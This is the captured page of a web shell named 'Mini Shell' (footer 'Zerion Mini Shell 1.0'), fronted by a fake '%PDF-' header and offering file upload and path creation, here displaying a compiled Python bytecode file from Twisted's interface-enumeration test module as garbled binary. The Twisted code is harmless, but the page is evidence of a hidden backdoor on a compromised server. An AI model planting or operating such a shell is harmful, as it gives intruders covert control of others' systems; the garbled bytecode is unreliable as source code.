%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/_posixifaces.cpython-312.pyc

�

Ϫ�f%�	���UdZddlZddlZddlmZmZmZmZmZm	Z	m
Z
mZmZm
Z
mZmZddlmZddlmZmZmZddlmZmZmZddlmZeed�xsd	�Zej8j;d
�sej8dk(rde
fd
e
fgZeeeefe d<nd
efgZeeeefe d<Gd�de�Z!Gd�de�Z"Gd�de�Z#Gd�de�Z$Gd�de�Z%Gd�de�Z&ee&�Z'de'fdefdefdee#�fdee#�fd ee#�fd!e
fge&_(ejRZ)ee'�ge)_*ee)_+ejXZ,e'ge,_*d"�Z-d#�Z.d$�Z/y)%z>
POSIX implementation of local network interface enumeration.
�N)�CDLL�POINTER�	Structure�c_char_p�c_int�c_ubyte�c_uint8�c_uint32�c_ushort�c_void_p�cast�pointer)�find_library)�AF_INET�AF_INET6�	inet_ntop)�Any�List�Tuple)�nativeString�c��freebsd�darwin�sin_len�
sin_family�_sockaddrCommonc��eZdZdedzfgZy)�in_addr�N��__name__�
__module__�__qualname__r�_fields_���D/usr/lib/python3/dist-packages/twisted/internet/test/_posixifaces.pyrr,s��	�G�a�K� ��Hr'rc��eZdZdedzfgZy)�in6_addrr�Nr!r&r'r(r*r*2s��	�G�b�L�!��Hr'r*c��eZdZedefgzZy)�sockaddr�sin_portN)r"r#r$rrr%r&r'r(r-r-8s���	�X��"��Hr'r-c�"�eZdZedefdefgzZy)�sockaddr_inr.�sin_addrN)r"r#r$rrrr%r&r'r(r0r0>s!���	�X��	�W��"��Hr'r0c�(�eZdZedefdefdefgzZy)�sockaddr_in6r.�sin_flowinfor1N)r"r#r$rrr
r*r%r&r'r(r3r3Es)���	�X��	��"�	�X��"��Hr'r3c��eZdZy)�ifaddrsN)r"r#r$r&r'r(r6r6Ms��r'r6�ifa_next�ifa_name�	ifa_flags�ifa_addr�ifa_netmask�ifa_dstaddr�ifa_datac�p�tjjd�r|dddk(r|dddz|ddzS|S)a�
    On FreeBSD, kill the embedded interface indices in link-local scoped
    addresses.

    @param family: The address family of the packed address - one of the
        I{socket.AF_*} constants.

    @param packed: The packed representation of the address (ie, the bytes of a
        I{in_addr} field).
    @type packed: L{bytes}

    @return: The packed address with any FreeBSD-specific extra bits cleared.
    @rtype: L{bytes}

    @see: U{https://twistedmatrix.com/trac/ticket/6843}
    @see: U{http://www.freebsd.org/doc/en/books/developers-handbook/ipv6.html#ipv6-scope-index}

    @note: Indications are that the need for this will be gone in FreeBSD >=10.
    rN�s��sr )�sys�platform�
startswith)�family�packeds  r(�_maybeCleanupScopeIndexrEdsD��(�|�|���y�)�f�R�a�j�K�.G��b�q�z�K�'�&���*�4�4��Mr'c��t�}tt|��dkr
t��g}	|r�|djr�|djdj
}|tk(r't|djtt��}n2|tk(r't|djtt��}nd}|r\t|djjdd�}t||�}|j!|dj"|t%||�f�|dj&}|r��t)|�|S#t)|�wxYw)z�
    Call C{getifaddrs(3)} and return a list of tuples of interface name, address
    family, and human-readable address representing its results.
    rN)�	ifaddrs_p�
getifaddrsr�OSErrorr:rrr
rr0rr3�bytesr1rrE�appendr8rr7�freeifaddrs)r6�resultsrC�addrrDs     r(�_interfacesrO}s)��
�k�G��'�'�"�#�a�'��i���G����q�z�"�"� ���,�,�Q�/�:�:���W�$����
� 3� 3�W�[�5I�J�D��x�'����
� 3� 3�W�\�5J�K�D��D��"�4��7�#3�#3�#;�#;�A�#>�?�F�4�V�V�D�F��N�N� ���,�,�f�i���6O�P���a�j�)�)�G�#�&	�G���N��	�G��s�C>D;�;
Ec���g}t�D]X\}}}t|�}t|�}|tjk(s�1|j	d�s�C|j|�d|����Z|S)z�
    Return a list of strings in colon-hex format representing all the link local
    IPv6 addresses available on the system, as reported by I{getifaddrs(3)}.
    zfe80:�%)rOr�socketrrBrK)�retList�	interfacerC�addresss    r(�posixGetLinkLocalIPv6AddressesrV�sl��
�G�&1�m�5�"�	�6�7� ��+�	��w�'���V�_�_�$��);�);�G�)D��N�N�g�Y�a�	�{�3�4�	5�
�Nr')0�__doc__rRr@�ctypesrrrrrrr	r
rrr
r�ctypes.utilrrrr�typingrrr�twisted.python.compatr�libcrArBr�str�__annotations__rr*r-r0r3r6rGr%rH�argtypes�restyperLrErOrVr&r'r(�<module>ras����
�
�
�
�
�
�%�/�/�#�#�.��L���#��$���<�<���9�%�����)A�	�G��	�w��.�O�T�%��S��/�*��
�x� �.�O�T�%��S��/�*��
�i���y���y���)���9��	�i�	�
�G��	��������(�����"�#��G�H�%�&��G�H�%�&��������_�_�
��y�)�*�
���
������!�{����2�Br'

Zerion Mini Shell 1.0